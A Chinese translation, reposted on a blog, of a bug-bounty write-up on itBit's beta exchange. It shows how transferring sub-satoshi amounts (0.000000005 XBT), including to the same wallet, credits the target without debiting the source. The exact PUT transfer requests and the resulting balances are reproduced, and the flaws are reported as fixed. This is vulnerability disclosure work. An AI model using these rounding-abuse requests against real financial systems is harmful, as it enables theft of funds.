在比特币中能“生钱”的按钮

2019-04-04 约 1324 字 预计阅读 3 分钟

声明:本文 【在比特币中能“生钱”的按钮】 由作者 niexinming 于 2018-09-30 14:19:51 首发 先知社区 曾经 浏览数 1986 次

感谢 niexinming 的辛苦付出!

原文来自 https://4lemon.ru/2017-01-26_make_money_button.html
翻译:聂心明
我每次都会测试与钱有关的系统,我对它感兴趣的原因不仅仅是因为能发现诸如注入漏洞,xss漏洞,IDOR漏洞等这些OWASP TOP-10之中包含的漏洞,还能发现一些基于金融的逻辑漏洞还有基于数学的漏洞。这里有一份常见漏洞类型列表:

  • 资源竞争
  • 从一个RUB账户转到另一个USD账户的汇率问题
  • 整数问题
  • 还有很多很多其他的问题

但是,在理论上有些事情是行的通的:
注意!在理论上可以利用条件竞争来绕过每日的转账限制
酷………这非常有趣
肯定还有其他漏洞,那时我会一步步的解释发生了什么,怎么发生的,为什么会发生,并且还要展示其结果。
今天我给大家展示一个真实的案例:

在2016年9月底我收到一封邮件
hi 黑客
我们尽可能的通知每一个为itBit交易中心工作的人,我们的漏洞赏金流程发生了一些变化。我们将提高每个漏洞的赏金。($100-$2000+)如果这段时间你没有测试过交易系统的话,那么我们欢迎你回归,并且重新看看我们的新系统,希望你也能挖到新漏洞

提高赏金?太好了!
你很久以前测试过这个系统吗?对的
这次我们继续搞
这个应用允许用户创建多个钱包。这个功能非常有用:可以用在汽车上,公寓里和每一天的花销上。
前期准备:

  • 攻击者有两个账户/钱包
  • 至少其中一个有钱

开始时账户金额:
account1 XBT - 100000.00000006
account2 XBT - 0


老实的说,这里确实有一些漏洞,只是这个漏洞存在于测试环境中。这个漏洞已经在十月中旬修复了。现在两个测试帐户已经准备好了,开始我们的表演吧。
测试从帐户1转0.00000001到帐户2:
account1 XBT - 100000.00000005
account2 XBT - 0.00000001

见证奇迹的时刻

从帐户1转0.000000005(这个金额小于0.00000001)到帐户2
account1 XBT - 100000.00000005 <- 帐户1的金额没有发生改变
account2 XBT - 0.00000002 <- 但是帐户2的金额却改变了

测试从帐户2转0.00000002到帐户1:
account1 XBT - 100000.00000007 - bingo!
account2 XBT - 0.00000000


结果就是黑客免费的产生了0.00000001 XBT。此外,在内部转账中没有如下的限制:

  • 每日的次数限制
  • 转账时不用输入密码
  • 其他的

所以,黑客可以无限制转账。我仅仅希望他们有反欺诈的机制,那么攻击者在提款的时候就会失败。

这样就结束了?不

他们修复了那个漏洞之后,我又发现了一个基于数学的逻辑漏洞。
从帐户1转账到帐户1再到帐户1等自己转账给自己的行为没有任何限制,这看上去就像:

PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com

{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.00000001"}

这个请求发出去之后没有任何结果,帐户金额也没有发生任何改变
但是如果攻击者添加先前提到的攻击向量的话,那么整个事情就会变得有趣起来。攻击前金额:

{"currencyCode":"XBT","balance":100000.00000007,"available":100000.00000007,"onDeposit":0}

攻击:

PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com

{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.000000005"}

攻击之后的金额

{"currencyCode":"XBT","balance":100000.00000008,"available":100000.00000008,"onDeposit":0}

所以:

  • 申请获得0.000000005
  • 转出去的金额被四舍五入成0.00000000,然后从原帐户金额中减去--所以源金额没有改变
  • 没有检查原账户和目的帐户中的金额是否相同
  • 转出去的金额被四舍五入成0.000000001,之后加进了目标帐户中---所以目标账户凭空产生了0.000000001

这个额外的漏洞也已经报给了官方,并且上周他们已经修复了这个问题。
记住!应用系统的行为取决于你是怎么写的,而不是你是怎么想的! :)

关键词:[‘众测’, ‘众测攻略’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now